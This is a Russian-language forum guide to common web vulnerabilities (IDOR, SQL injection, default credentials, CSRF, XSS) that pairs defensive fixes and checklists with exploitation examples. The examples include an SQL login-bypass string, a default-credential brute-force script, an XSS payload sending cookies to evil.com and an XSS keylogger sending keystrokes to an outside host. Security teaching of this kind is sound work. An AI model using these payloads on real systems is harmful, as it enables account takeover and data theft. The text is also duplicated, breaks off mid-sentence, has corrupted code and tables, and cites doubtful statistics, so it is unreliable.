Sergei webware
24.03.2025, 01:21
По данным OWASP 2024, более 67% веб-приложений содержат критические уязвимости, способные привести к утечке данных или полной компрометации системы. Ежегодные потери компаний от эксплуатации таких уязвимостей превышают $6 триллионов глобально. В этом руководстве мы разберем самые опасные уязвимости веб-приложений, которые встречаются в 2025 году, покажем реальные примеры эксплуатации и дадим конкретные рекомендации по защите.
Оглавление
IDOR — прямые ссылки на объекты (https://forum.antichat.xyz/threads/572703/)
SQL Injection — инъекции в базы данных (https://forum.antichat.xyz/threads/572703/)
Дефолтные учетные данные (https://forum.antichat.xyz/threads/572703/)
CSRF — подделка межсайтовых запросов (https://forum.antichat.xyz/threads/572703/)
Открытые тестовые поддомены (https://forum.antichat.xyz/threads/572703/)
Небезопасная передача параметров (https://forum.antichat.xyz/threads/572703/)
XSS — межсайтовый скриптинг (https://forum.antichat.xyz/threads/572703/)
Таблица критичности уязвимостей (https://forum.antichat.xyz/threads/572703/)
Чек-лист проверки безопасности (https://forum.antichat.xyz/threads/572703/)
Инструменты для пентеста (https://forum.antichat.xyz/threads/572703/)
FAQ по безопасности (https://forum.antichat.xyz/threads/572703/)
1. IDOR (Insecure Direct Object Reference) — критическая угроза персональным данным
Что такое IDOR уязвимость?
IDOR — это уязвимость, позволяющая получить несанкционированный доступ к объектам системы через прямые ссылки. В 2024 году IDOR занимает 4-е место в рейтинге OWASP Top 10, затрагивая 35% всех веб-приложений.
Реальный пример эксплуатации
HTTP:
GET /api/users/documents/123456.pdf HTTP/1.1
Host:
example.com
Authorization:
Bearer [user_token]
Простым изменением ID документа на
123457
,
123458
и т.д., атакующий получает доступ к документам всех пользователей системы.
Практический пример уязвимого кода (PHP):
PHP:
// ❌ Уязвимый код
$documentId
=
$_GET
[
'id'
]
;
$document
=
$db
-
>
query
(
"SELECT * FROM documents WHERE id = $documentId"
)
;
echo
json_encode
(
$document
)
;
// ✅ Безопасный код
$documentId
=
$_GET
[
'id'
]
;
$userId
=
$_SESSION
[
'user_id'
]
;
$document
=
$db
-
>
prepare
(
"SELECT * FROM documents WHERE id = ? AND user_id = ?"
)
;
$document
-
>
execute
(
[
$documentId
,
$userId
]
)
;
echo
json_encode
(
$document
-
>
fetch
(
)
)
;
https://forum.antichat.xyz/attachments/4876129/1.png
Методы защиты от IDOR:
Проверка прав доступа на уровне бизнес-логики
Использование UUID вместо последовательных ID:
3fk5vsl329dthpo5yrd36iute4s
Непрямые ссылки через хеш-таблицы
Логирование всех попыток доступа к чувствительным данным
Rate limiting для предотвращения массового перебора
Практика поиска IDOR: в гайде по Bug Bounty 2025 (https://forum.antichat.xyz/threads/588724/) детально разбирается методология поиска IDOR в API и составление профессиональных отчетов с расчетом бизнес-рисков — must-read для начинающих баг-хантеров.
Инструменты для поиска IDOR:
Burp Suite с расширением Autorize
OWASP ZAP с активным сканированием
Param Miner для обнаружения скрытых параметров
2. SQL Injection — топовая угроза баз данных
Статистика и критичность
SQL-инъекции остаются в ТОП-3 самых опасных уязвимостей по версии OWASP. В 2024 году через SQL-инъекции было скомпрометировано более 3 миллионов записей персональных данных только в РФ.
Типы SQL инъекций:
ТипОписаниеКритичностьClassi c SQLiПрямое внедрение SQL-кодаКритическаяBlind SQLiБез прямого вывода данныхВысокаяTime-based BlindИспользование временных задержекСредняяUnion-basedОбъединение запросовКритическаяError-basedЧерез сообщения об ошибкахВысокая
Пример эксплуатации:
SQL:
-- Уязвимый запрос
SELECT
*
FROM
users
WHERE
login
=
'$_POST[login]'
AND
password
=
'$_POST[password]'
-- Эксплуатация
login: admin
' OR '
1
'='
1
'--
password: любой
-- Результирующий запрос
SELECT * FROM users WHERE login = '
admin
' OR '
1
'='
1
'--'
AND
password
=
'любой'
https://forum.antichat.xyz/attachments/4876129/5.png
Защита от SQL инъекций:
Python:
# ❌ Уязвимый код Python
query
=
f"SELECT * FROM users WHERE id ={user_id}"
cursor
.
execute
(
query
)
# ✅ Безопасный код с параметризованными запросами
query
=
"SELECT * FROM users WHERE id = %s"
cursor
.
execute
(
query
,
(
user_id
,
)
)
Рекомендации по защите:
Параметризованные запросы (Prepared Statements)
Хранимые процедуры с валидацией входных данных
Экранирование спецсимволов как дополнительная мера
Принцип наименьших привилегий для БД
WAF (Web Application Firewall) с правилами для SQL
Безопасный PHP. Защита от SQL-Injection (https://forum.antichat.xyz/threads/561661/) - практические примеры защиты
3. Дефолтные учетные данные — простейшая точка входа
Реальный кейс: Портал госуслуг
В ходе пентеста портала государственных услуг была обнаружена админ-панель со стандартными учетными данными
admin:admin
. Это давало доступ к:
Загрузке произвольных файлов
HTTP-методу DELETE
Множественным IDOR уязвимостям
Возможности изменения паролей других пользователей
Топ-10 опасных дефолтных учетных записей:
СервисЛогинПарольРискTomcatto mcattomcatRCEWebLogicweblogicweblogic1RCEJenkinsad minadminCI/CD компрометацияphpMyAdminroot(пуст й)Доступ к БДMongoDBadminadminNoSQL инъекции
https://forum.antichat.xyz/attachments/4876129/7.png
Автоматизация поиска дефолтных паролей:
Python:
import
requests
from
concurrent
.
futures
import
ThreadPoolExecutor
default_creds
=
[
(
'admin'
,
'admin'
)
,
(
'administrator'
,
'password'
)
,
(
'root'
,
'root'
)
,
(
'test'
,
'test'
)
]
def
check_login
(
url
,
username
,
password
)
:
try
:
response
=
requests
.
post
(
f"{url}/login"
,
data
=
{
'username'
:
username
,
'password'
:
password
}
,
timeout
=
5
)
if
response
.
status_code
==
200
and
'dashboard'
in
response
.
text
:
print
(
f"[+] Valid:{username}:{password}"
)
return
True
except
:
pass
return
False
# Многопоточная проверка
with
ThreadPoolExecutor
(
max_workers
=
10
)
as
executor
:
futures
=
[
executor
.
submit
(
check_login
,
target_url
,
u
,
p
)
for
u
,
p
in
default_creds
]
4. CSRF — подделка межсайтовых запросов
Критичность в современных приложениях
CSRF атаки особенно опасны в системах с SMS-авторизацией и могут привести к:
SMS-флуду (финансовые потери)
Account Takeover (захват аккаунтов)
Несанкционированные транзакции
Изменение критических настроек
Пример эксплуатации CSRF в регистрации:
HTML:
// Автоматическая отправка формы каждые 5 секунд
setInterval(() => {
document.getElementById('csrf').submit();
}, 5000);
Комплексная защита от CSRF:
JavaScript:
// Генерация CSRF-токена (Node.js + Express)
const
crypto
=
require
(
'crypto'
)
;
app
.
use
(
(
req, res, next
)
=>
{
if
(
!
req
.
session
.
csrfToken
)
{
req
.
session
.
csrfToken
=
crypto
.
randomBytes
(
32
)
.
toString
(
'hex'
)
;
}
res
.
locals
.
csrfToken
=
req
.
session
.
csrfToken
;
next
(
)
;
}
)
;
// Валидация токена
app
.
post
(
'/critical-action'
,
(
req, res
)
=>
{
if
(
req
.
body
.
csrf_token
!==
req
.
session
.
csrfToken
)
{
return
res
.
status
(
403
)
.
json
(
{
error
:
'Invalid CSRF token'
}
)
;
}
// Выполнение действия
}
)
;
Дополнительные меры защиты:
Double Submit Cookie паттерн
SameSite Cookie атрибут
Проверка Referer/Origin заголовков
CAPTCHA для критических операций
Тайм-ауты между запросами (rate limiting)
5. Открытые тестовые поддомены — скрытая угроза
Статистика обнаружений
По данным исследования 2024 года, 73% компаний имеют незащищенные тестовые поддомены:
test.example.com
dev.example.com
staging.example.com
api-test.example.com
https://forum.antichat.xyz/attachments/4876129/3.png
Автоматизированный поиск поддоменов:
Bash:
# Использование Sublist3r
python sublist3r.py -d example.com -o subdomains.txt
# Массовое сканирование с Amass
amass enum -passive -d example.com -o amass_results.txt
# Проверка DNS-записей
for
subdomain
in
$(cat subdomains.txt)
;
do
dig
+short
$subdomain
done
Типичные находки на тестовых поддоменах:
Тип файлаРискЧастота обнаружения.env файлыКритический45%SQL дампыКритический23%Конфиг файлыВысокий67%Логи с паролямиКритический31%Git репозиторииВысокий28%
Защита поддоменов:
NGINX:
# Nginx конфигурация для защиты тестового поддомена
server
{
listen
443
ssl
;
server_name
test
.
example
.
com
;
# IP-based restriction
allow
192.168
.1
.0
/
24
;
# Офисная сеть
deny
all
;
# Basic authentication
auth_basic
"Restricted Access"
;
auth_basic_user_file
/
etc
/
nginx
/
.
htpasswd
;
# Отключение индексации
add_header
X
-
Robots
-
Tag
"noindex, nofollow, noarchive"
;
}
6. Небезопасная передача параметров
Критический пример: изменение баланса
В одном из сервисов рассылки сообщений был обнаружен следующий POST-запрос:
HTTP:
POST /api/user/update HTTP/1.1
Content-Type:
application/json
{
"username": "user123",
"email": "user@example.com",
"balance": 100.00, // ← Критическая уязвимость!
"role": "user" // ← Повышение привилегий!
}
https://forum.antichat.xyz/attachments/4876129/4.png
Эксплуатация для Stored XSS:
JavaScript:
// Изменение имени пользователя на XSS payload
{
"username"
:
"fetch('//evil.com/steal?c='+document.cookie)"
,
"balance"
:
999999
}
Безопасная реализация:
Python:
# Flask (Python) пример
from
flask
import
request
,
jsonify
from
functools
import
wraps
def
validate_user_update
(
f
)
:
@wraps
(
f
)
def
decorated_function
(
*
args
,
**
kwargs
)
:
allowed_fields
=
[
'username'
,
'email'
]
# Только разрешенные поля
# Фильтрация входных данных
filtered_data
=
{
k
:
v
for
k
,
v
in
request
.
json
.
items
(
)
if
k
in
allowed_fields
}
# XSS защита
for
field
in
filtered_data
:
filtered_data
[
field
]
=
escape_html
(
filtered_data
[
field
]
)
request
.
filtered_data
=
filtered_data
return
f
(
*
args
,
**
kwargs
)
return
decorated_function
@app.route
(
'/api/user/update'
,
methods
=
[
'POST'
]
)
@validate_user_update
@require_auth
def
update_user
(
)
:
# Используем только отфильтрованные данные
user
.
update
(
request
.
filtered_data
)
return
jsonify
(
{
'status'
:
'success'
}
)
7. XSS (Cross-Site Scripting) — универсальная угроза
Типы XSS атак в 2025:
ТипОписаниеПроцент от всех XSSReflected XSSОтраженный в ответе сервера35%Stored XSSСохраненный в БД45%DOM-based XSSВ клиентском JavaScript20%
Современные XSS payloads:
JavaScript:
// Обход фильтров 2025
// Кража JWT токенов
// Keylogger через XSS
document
.
onkeypress
=
function
(
e
)
{
fetch
(
'//logger.com/key?k='
+
e
.
key
)
;
}
Комплексная защита от XSS:
JavaScript:
// Content Security Policy (CSP)
app
.
use
(
(
req, res, next
)
=>
{
res
.
setHeader
(
"Content-Security-Policy"
,
"default-src 'self'; "
+
"script-src 'self' 'nonce-"
+
generateNonce
(
)
+
"'; "
+
"style-src 'self' 'unsafe-inline'; "
+
"img-src 'self' data: https:; "
+
"connect-src 'self'"
)
;
next
(
)
;
}
)
;
// Санитизация на клиенте (DOMPurify)
import
DOMPurify
from
'dompurify'
;
const
clean
=
DOMPurify
.
sanitize
(
dirty
,
{
ALLOWED_TAGS
:
[
'b'
,
'i'
,
'em'
,
'strong'
,
'a'
]
,
ALLOWED_ATTR
:
[
'href'
]
}
)
;
8. Таблица критичности уязвимостей
УязвимостьCVSS ScoreСложность эксплуатацииПотенциальный ущербЧастота в 2025SQL Injection9.8НизкаяКритический23%I DOR8.6НизкаяВысокий35%XSS7.5Сред яяСредний45%CSRF6.8СредняяСре ний18%Default Creds9.0Очень низкаяКритический31%Open Subdomains7.2НизкаяВысокий73%Paramete r Tampering6.5СредняяСредний28%
9. Чек-лист проверки безопасности
Аутентификация и авторизация
[ ] Отсутствие дефолтных учетных данных
[ ] Сложность паролей минимум 12 символов
[ ] Двухфакторная аутентификация для админов
[ ] Блокировка после 5 неудачных попыток входа
[ ] Использование bcrypt/scrypt для хеширования паролей
Защита от инъекций
[ ] Параметризованные SQL запросы
[ ] Валидация всех входных данных
[ ] Экранирование специальных символов
[ ] WAF с актуальными правилами
[ ] Регулярные сканирования на SQLi
Защита от XSS
[ ] Content Security Policy настроен
[ ] Санитизация пользовательского ввода
[ ] HttpOnly флаг для cookies
[ ] X-XSS-Protection заголовок
Контроль доступа
[ ] Проверка прав на каждый запрос
[ ] UUID вместо инкрементных ID
[ ] Логирование всех критических операций
[ ] Rate limiting настроен
[ ] CORS правильно сконфигурирован
Инфраструктура
[ ] Тестовые поддомены закрыты
[ ] Отсутствие открытых портов
[ ] SSL/TLS последней версии
[ ] Регулярное обновление ПО
[ ] Резервное копирование
10. Инструменты для пентеста
Сканеры уязвимостей
ИнструментНазначениеЛицен зияOWASP ZAPКомплексное сканированиеOpen SourceBurp SuiteПрофессиональный пентестCommercial/CommunitySQLMapПоиск SQL инъекцийOpen SourceNiktoСканер веб-серверовOpen SourceNessusСканер инфраструктурыCommercial
Специализированные утилиты
Bash:
# Поиск поддоменов
sublist3r -d example.com -o subs.txt
amass enum -d example.com
dnsenum example.com
# Сканирование портов
nmap -sV -sC -O -p- example.com
masscan -p1-65535
192.168
.1.0/24 --rate
=
10000
# Поиск директорий
gobuster
dir
-u https://example.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u https://example.com/FUZZ
# Анализ JavaScript
LinkFinder -i https://example.com -o js_endpoints.txt
JSParser --url https://example.com
Методология тестирования: детальное руководство по фаззингу веб-приложений (https://forum.antichat.xyz/threads/574012/) поможет систематизировать поиск IDOR и других логических уязвимостей через анализ параметров и заголовков.
Менеджеры паролей с открытым кодом
Pass - минималистичный CLI менеджер
Bitwarden - кроссплатформенный с синхронизацией
KeePassXC - локальное хранилище
11. FAQ — частые вопросы по безопасности
Что такое IDOR уязвимость и как её найти?
IDOR (Insecure Direct Object Reference) — это уязвимость контроля доступа, когда приложение использует прямые ссылки на объекты без проверки прав. Найти можно через изменение ID в URL, параметрах запроса или теле POST-запроса. Используйте Burp Suite с расширением Autorize для автоматизации.
Как защититься от SQL injection в PHP?
Используйте PDO с подготовленными запросами:
PHP:
$stmt
=
$pdo
-
>
prepare
(
"SELECT * FROM users WHERE email = :email"
)
;
$stmt
-
>
execute
(
[
'email'
=
>
$email
]
)
;
Никогда не конкатенируйте переменные напрямую в SQL-запросы.
Какой сканер уязвимостей лучше для начинающих?
OWASP ZAP — бесплатный, с графическим интерфейсом и автоматическим режимом. Начните с него, затем переходите на Burp Suite Community Edition.
Что делать если нашел уязвимость на чужом сайте?
Не эксплуатируйте находку
Проверьте наличие Bug Bounty программы
Свяжитесь с владельцем через security@domain.com
Дайте время на исправление (обычно 90 дней)
Только потом публикуйте (responsible disclosure)
Как часто нужно проводить пентест?
Минимум 2 раза в год для критической инфраструктуры. После каждого major релиза. При изменении архитектуры. Обязательно перед запуском в продакшн.
Можно ли полностью защититься от всех уязвимостей?
Нет, 100% защиты не существует. Цель — минимизировать риски через defense in depth (многоуровневую защиту), регулярные аудиты и обучение команды.
Какие уязвимости самые опасные в 2025?
По OWASP Top 10 (2024):
Broken Access Control (включая IDOR)
Cryptographic Failures
Injection (SQL, NoSQL, LDAP)
Нужен ли WAF если код безопасный?
Да, WAF — это дополнительный уровень защиты. Он поможет при zero-day уязвимостях и ошибках разработчиков.
Как проверить сайт на XSS?
Вручную: вставьте
alert(1)
во все поля ввода
Автоматически: используйте XSStrike или dalfox
Проверьте reflected, stored и DOM-based векторы
Что важнее: пентест или код-ревью?
Оба критичны. Код-ревью находит логические ошибки, пентест — реальные векторы атак. Идеально проводить оба.
Заключение
Безопасность веб-приложений — это непрерывный процесс, требующий комплексного подхода. Регулярные пентесты, обновление компонентов, обучение команды и следование best practices помогут минимизировать риски.
Следующие шаги:
Проведите аудит вашей инфраструктуры по чек-листу выше
Настройте автоматическое сканирование уязвимостей
Внедрите процесс Security Code Review
Запустите Bug Bounty программу
Нужна профессиональная проверка безопасности? Обратитесь к сертифицированным специалистам для проведения комплексного пентеста вашей инфраструктуры.
Оглавление
IDOR — прямые ссылки на объекты (https://forum.antichat.xyz/threads/572703/)
SQL Injection — инъекции в базы данных (https://forum.antichat.xyz/threads/572703/)
Дефолтные учетные данные (https://forum.antichat.xyz/threads/572703/)
CSRF — подделка межсайтовых запросов (https://forum.antichat.xyz/threads/572703/)
Открытые тестовые поддомены (https://forum.antichat.xyz/threads/572703/)
Небезопасная передача параметров (https://forum.antichat.xyz/threads/572703/)
XSS — межсайтовый скриптинг (https://forum.antichat.xyz/threads/572703/)
Таблица критичности уязвимостей (https://forum.antichat.xyz/threads/572703/)
Чек-лист проверки безопасности (https://forum.antichat.xyz/threads/572703/)
Инструменты для пентеста (https://forum.antichat.xyz/threads/572703/)
FAQ по безопасности (https://forum.antichat.xyz/threads/572703/)
1. IDOR (Insecure Direct Object Reference) — критическая угроза персональным данным
Что такое IDOR уязвимость?
IDOR — это уязвимость, позволяющая получить несанкционированный доступ к объектам системы через прямые ссылки. В 2024 году IDOR занимает 4-е место в рейтинге OWASP Top 10, затрагивая 35% всех веб-приложений.
Реальный пример эксплуатации
HTTP:
GET /api/users/documents/123456.pdf HTTP/1.1
Host:
example.com
Authorization:
Bearer [user_token]
Простым изменением ID документа на
123457
,
123458
и т.д., атакующий получает доступ к документам всех пользователей системы.
Практический пример уязвимого кода (PHP):
PHP:
// ❌ Уязвимый код
$documentId
=
$_GET
[
'id'
]
;
$document
=
$db
-
>
query
(
"SELECT * FROM documents WHERE id = $documentId"
)
;
echo
json_encode
(
$document
)
;
// ✅ Безопасный код
$documentId
=
$_GET
[
'id'
]
;
$userId
=
$_SESSION
[
'user_id'
]
;
$document
=
$db
-
>
prepare
(
"SELECT * FROM documents WHERE id = ? AND user_id = ?"
)
;
$document
-
>
execute
(
[
$documentId
,
$userId
]
)
;
echo
json_encode
(
$document
-
>
fetch
(
)
)
;
https://forum.antichat.xyz/attachments/4876129/1.png
Методы защиты от IDOR:
Проверка прав доступа на уровне бизнес-логики
Использование UUID вместо последовательных ID:
3fk5vsl329dthpo5yrd36iute4s
Непрямые ссылки через хеш-таблицы
Логирование всех попыток доступа к чувствительным данным
Rate limiting для предотвращения массового перебора
Практика поиска IDOR: в гайде по Bug Bounty 2025 (https://forum.antichat.xyz/threads/588724/) детально разбирается методология поиска IDOR в API и составление профессиональных отчетов с расчетом бизнес-рисков — must-read для начинающих баг-хантеров.
Инструменты для поиска IDOR:
Burp Suite с расширением Autorize
OWASP ZAP с активным сканированием
Param Miner для обнаружения скрытых параметров
2. SQL Injection — топовая угроза баз данных
Статистика и критичность
SQL-инъекции остаются в ТОП-3 самых опасных уязвимостей по версии OWASP. В 2024 году через SQL-инъекции было скомпрометировано более 3 миллионов записей персональных данных только в РФ.
Типы SQL инъекций:
ТипОписаниеКритичностьClassi c SQLiПрямое внедрение SQL-кодаКритическаяBlind SQLiБез прямого вывода данныхВысокаяTime-based BlindИспользование временных задержекСредняяUnion-basedОбъединение запросовКритическаяError-basedЧерез сообщения об ошибкахВысокая
Пример эксплуатации:
SQL:
-- Уязвимый запрос
SELECT
*
FROM
users
WHERE
login
=
'$_POST[login]'
AND
password
=
'$_POST[password]'
-- Эксплуатация
login: admin
' OR '
1
'='
1
'--
password: любой
-- Результирующий запрос
SELECT * FROM users WHERE login = '
admin
' OR '
1
'='
1
'--'
AND
password
=
'любой'
https://forum.antichat.xyz/attachments/4876129/5.png
Защита от SQL инъекций:
Python:
# ❌ Уязвимый код Python
query
=
f"SELECT * FROM users WHERE id ={user_id}"
cursor
.
execute
(
query
)
# ✅ Безопасный код с параметризованными запросами
query
=
"SELECT * FROM users WHERE id = %s"
cursor
.
execute
(
query
,
(
user_id
,
)
)
Рекомендации по защите:
Параметризованные запросы (Prepared Statements)
Хранимые процедуры с валидацией входных данных
Экранирование спецсимволов как дополнительная мера
Принцип наименьших привилегий для БД
WAF (Web Application Firewall) с правилами для SQL
Безопасный PHP. Защита от SQL-Injection (https://forum.antichat.xyz/threads/561661/) - практические примеры защиты
3. Дефолтные учетные данные — простейшая точка входа
Реальный кейс: Портал госуслуг
В ходе пентеста портала государственных услуг была обнаружена админ-панель со стандартными учетными данными
admin:admin
. Это давало доступ к:
Загрузке произвольных файлов
HTTP-методу DELETE
Множественным IDOR уязвимостям
Возможности изменения паролей других пользователей
Топ-10 опасных дефолтных учетных записей:
СервисЛогинПарольРискTomcatto mcattomcatRCEWebLogicweblogicweblogic1RCEJenkinsad minadminCI/CD компрометацияphpMyAdminroot(пуст й)Доступ к БДMongoDBadminadminNoSQL инъекции
https://forum.antichat.xyz/attachments/4876129/7.png
Автоматизация поиска дефолтных паролей:
Python:
import
requests
from
concurrent
.
futures
import
ThreadPoolExecutor
default_creds
=
[
(
'admin'
,
'admin'
)
,
(
'administrator'
,
'password'
)
,
(
'root'
,
'root'
)
,
(
'test'
,
'test'
)
]
def
check_login
(
url
,
username
,
password
)
:
try
:
response
=
requests
.
post
(
f"{url}/login"
,
data
=
{
'username'
:
username
,
'password'
:
password
}
,
timeout
=
5
)
if
response
.
status_code
==
200
and
'dashboard'
in
response
.
text
:
(
f"[+] Valid:{username}:{password}"
)
return
True
except
:
pass
return
False
# Многопоточная проверка
with
ThreadPoolExecutor
(
max_workers
=
10
)
as
executor
:
futures
=
[
executor
.
submit
(
check_login
,
target_url
,
u
,
p
)
for
u
,
p
in
default_creds
]
4. CSRF — подделка межсайтовых запросов
Критичность в современных приложениях
CSRF атаки особенно опасны в системах с SMS-авторизацией и могут привести к:
SMS-флуду (финансовые потери)
Account Takeover (захват аккаунтов)
Несанкционированные транзакции
Изменение критических настроек
Пример эксплуатации CSRF в регистрации:
HTML:
// Автоматическая отправка формы каждые 5 секунд
setInterval(() => {
document.getElementById('csrf').submit();
}, 5000);
Комплексная защита от CSRF:
JavaScript:
// Генерация CSRF-токена (Node.js + Express)
const
crypto
=
require
(
'crypto'
)
;
app
.
use
(
(
req, res, next
)
=>
{
if
(
!
req
.
session
.
csrfToken
)
{
req
.
session
.
csrfToken
=
crypto
.
randomBytes
(
32
)
.
toString
(
'hex'
)
;
}
res
.
locals
.
csrfToken
=
req
.
session
.
csrfToken
;
next
(
)
;
}
)
;
// Валидация токена
app
.
post
(
'/critical-action'
,
(
req, res
)
=>
{
if
(
req
.
body
.
csrf_token
!==
req
.
session
.
csrfToken
)
{
return
res
.
status
(
403
)
.
json
(
{
error
:
'Invalid CSRF token'
}
)
;
}
// Выполнение действия
}
)
;
Дополнительные меры защиты:
Double Submit Cookie паттерн
SameSite Cookie атрибут
Проверка Referer/Origin заголовков
CAPTCHA для критических операций
Тайм-ауты между запросами (rate limiting)
5. Открытые тестовые поддомены — скрытая угроза
Статистика обнаружений
По данным исследования 2024 года, 73% компаний имеют незащищенные тестовые поддомены:
test.example.com
dev.example.com
staging.example.com
api-test.example.com
https://forum.antichat.xyz/attachments/4876129/3.png
Автоматизированный поиск поддоменов:
Bash:
# Использование Sublist3r
python sublist3r.py -d example.com -o subdomains.txt
# Массовое сканирование с Amass
amass enum -passive -d example.com -o amass_results.txt
# Проверка DNS-записей
for
subdomain
in
$(cat subdomains.txt)
;
do
dig
+short
$subdomain
done
Типичные находки на тестовых поддоменах:
Тип файлаРискЧастота обнаружения.env файлыКритический45%SQL дампыКритический23%Конфиг файлыВысокий67%Логи с паролямиКритический31%Git репозиторииВысокий28%
Защита поддоменов:
NGINX:
# Nginx конфигурация для защиты тестового поддомена
server
{
listen
443
ssl
;
server_name
test
.
example
.
com
;
# IP-based restriction
allow
192.168
.1
.0
/
24
;
# Офисная сеть
deny
all
;
# Basic authentication
auth_basic
"Restricted Access"
;
auth_basic_user_file
/
etc
/
nginx
/
.
htpasswd
;
# Отключение индексации
add_header
X
-
Robots
-
Tag
"noindex, nofollow, noarchive"
;
}
6. Небезопасная передача параметров
Критический пример: изменение баланса
В одном из сервисов рассылки сообщений был обнаружен следующий POST-запрос:
HTTP:
POST /api/user/update HTTP/1.1
Content-Type:
application/json
{
"username": "user123",
"email": "user@example.com",
"balance": 100.00, // ← Критическая уязвимость!
"role": "user" // ← Повышение привилегий!
}
https://forum.antichat.xyz/attachments/4876129/4.png
Эксплуатация для Stored XSS:
JavaScript:
// Изменение имени пользователя на XSS payload
{
"username"
:
"fetch('//evil.com/steal?c='+document.cookie)"
,
"balance"
:
999999
}
Безопасная реализация:
Python:
# Flask (Python) пример
from
flask
import
request
,
jsonify
from
functools
import
wraps
def
validate_user_update
(
f
)
:
@wraps
(
f
)
def
decorated_function
(
*
args
,
**
kwargs
)
:
allowed_fields
=
[
'username'
,
'email'
]
# Только разрешенные поля
# Фильтрация входных данных
filtered_data
=
{
k
:
v
for
k
,
v
in
request
.
json
.
items
(
)
if
k
in
allowed_fields
}
# XSS защита
for
field
in
filtered_data
:
filtered_data
[
field
]
=
escape_html
(
filtered_data
[
field
]
)
request
.
filtered_data
=
filtered_data
return
f
(
*
args
,
**
kwargs
)
return
decorated_function
@app.route
(
'/api/user/update'
,
methods
=
[
'POST'
]
)
@validate_user_update
@require_auth
def
update_user
(
)
:
# Используем только отфильтрованные данные
user
.
update
(
request
.
filtered_data
)
return
jsonify
(
{
'status'
:
'success'
}
)
7. XSS (Cross-Site Scripting) — универсальная угроза
Типы XSS атак в 2025:
ТипОписаниеПроцент от всех XSSReflected XSSОтраженный в ответе сервера35%Stored XSSСохраненный в БД45%DOM-based XSSВ клиентском JavaScript20%
Современные XSS payloads:
JavaScript:
// Обход фильтров 2025
// Кража JWT токенов
// Keylogger через XSS
document
.
onkeypress
=
function
(
e
)
{
fetch
(
'//logger.com/key?k='
+
e
.
key
)
;
}
Комплексная защита от XSS:
JavaScript:
// Content Security Policy (CSP)
app
.
use
(
(
req, res, next
)
=>
{
res
.
setHeader
(
"Content-Security-Policy"
,
"default-src 'self'; "
+
"script-src 'self' 'nonce-"
+
generateNonce
(
)
+
"'; "
+
"style-src 'self' 'unsafe-inline'; "
+
"img-src 'self' data: https:; "
+
"connect-src 'self'"
)
;
next
(
)
;
}
)
;
// Санитизация на клиенте (DOMPurify)
import
DOMPurify
from
'dompurify'
;
const
clean
=
DOMPurify
.
sanitize
(
dirty
,
{
ALLOWED_TAGS
:
[
'b'
,
'i'
,
'em'
,
'strong'
,
'a'
]
,
ALLOWED_ATTR
:
[
'href'
]
}
)
;
8. Таблица критичности уязвимостей
УязвимостьCVSS ScoreСложность эксплуатацииПотенциальный ущербЧастота в 2025SQL Injection9.8НизкаяКритический23%I DOR8.6НизкаяВысокий35%XSS7.5Сред яяСредний45%CSRF6.8СредняяСре ний18%Default Creds9.0Очень низкаяКритический31%Open Subdomains7.2НизкаяВысокий73%Paramete r Tampering6.5СредняяСредний28%
9. Чек-лист проверки безопасности
Аутентификация и авторизация
[ ] Отсутствие дефолтных учетных данных
[ ] Сложность паролей минимум 12 символов
[ ] Двухфакторная аутентификация для админов
[ ] Блокировка после 5 неудачных попыток входа
[ ] Использование bcrypt/scrypt для хеширования паролей
Защита от инъекций
[ ] Параметризованные SQL запросы
[ ] Валидация всех входных данных
[ ] Экранирование специальных символов
[ ] WAF с актуальными правилами
[ ] Регулярные сканирования на SQLi
Защита от XSS
[ ] Content Security Policy настроен
[ ] Санитизация пользовательского ввода
[ ] HttpOnly флаг для cookies
[ ] X-XSS-Protection заголовок
Контроль доступа
[ ] Проверка прав на каждый запрос
[ ] UUID вместо инкрементных ID
[ ] Логирование всех критических операций
[ ] Rate limiting настроен
[ ] CORS правильно сконфигурирован
Инфраструктура
[ ] Тестовые поддомены закрыты
[ ] Отсутствие открытых портов
[ ] SSL/TLS последней версии
[ ] Регулярное обновление ПО
[ ] Резервное копирование
10. Инструменты для пентеста
Сканеры уязвимостей
ИнструментНазначениеЛицен зияOWASP ZAPКомплексное сканированиеOpen SourceBurp SuiteПрофессиональный пентестCommercial/CommunitySQLMapПоиск SQL инъекцийOpen SourceNiktoСканер веб-серверовOpen SourceNessusСканер инфраструктурыCommercial
Специализированные утилиты
Bash:
# Поиск поддоменов
sublist3r -d example.com -o subs.txt
amass enum -d example.com
dnsenum example.com
# Сканирование портов
nmap -sV -sC -O -p- example.com
masscan -p1-65535
192.168
.1.0/24 --rate
=
10000
# Поиск директорий
gobuster
dir
-u https://example.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u https://example.com/FUZZ
# Анализ JavaScript
LinkFinder -i https://example.com -o js_endpoints.txt
JSParser --url https://example.com
Методология тестирования: детальное руководство по фаззингу веб-приложений (https://forum.antichat.xyz/threads/574012/) поможет систематизировать поиск IDOR и других логических уязвимостей через анализ параметров и заголовков.
Менеджеры паролей с открытым кодом
Pass - минималистичный CLI менеджер
Bitwarden - кроссплатформенный с синхронизацией
KeePassXC - локальное хранилище
11. FAQ — частые вопросы по безопасности
Что такое IDOR уязвимость и как её найти?
IDOR (Insecure Direct Object Reference) — это уязвимость контроля доступа, когда приложение использует прямые ссылки на объекты без проверки прав. Найти можно через изменение ID в URL, параметрах запроса или теле POST-запроса. Используйте Burp Suite с расширением Autorize для автоматизации.
Как защититься от SQL injection в PHP?
Используйте PDO с подготовленными запросами:
PHP:
$stmt
=
$pdo
-
>
prepare
(
"SELECT * FROM users WHERE email = :email"
)
;
$stmt
-
>
execute
(
[
'email'
=
>
]
)
;
Никогда не конкатенируйте переменные напрямую в SQL-запросы.
Какой сканер уязвимостей лучше для начинающих?
OWASP ZAP — бесплатный, с графическим интерфейсом и автоматическим режимом. Начните с него, затем переходите на Burp Suite Community Edition.
Что делать если нашел уязвимость на чужом сайте?
Не эксплуатируйте находку
Проверьте наличие Bug Bounty программы
Свяжитесь с владельцем через security@domain.com
Дайте время на исправление (обычно 90 дней)
Только потом публикуйте (responsible disclosure)
Как часто нужно проводить пентест?
Минимум 2 раза в год для критической инфраструктуры. После каждого major релиза. При изменении архитектуры. Обязательно перед запуском в продакшн.
Можно ли полностью защититься от всех уязвимостей?
Нет, 100% защиты не существует. Цель — минимизировать риски через defense in depth (многоуровневую защиту), регулярные аудиты и обучение команды.
Какие уязвимости самые опасные в 2025?
По OWASP Top 10 (2024):
Broken Access Control (включая IDOR)
Cryptographic Failures
Injection (SQL, NoSQL, LDAP)
Нужен ли WAF если код безопасный?
Да, WAF — это дополнительный уровень защиты. Он поможет при zero-day уязвимостях и ошибках разработчиков.
Как проверить сайт на XSS?
Вручную: вставьте
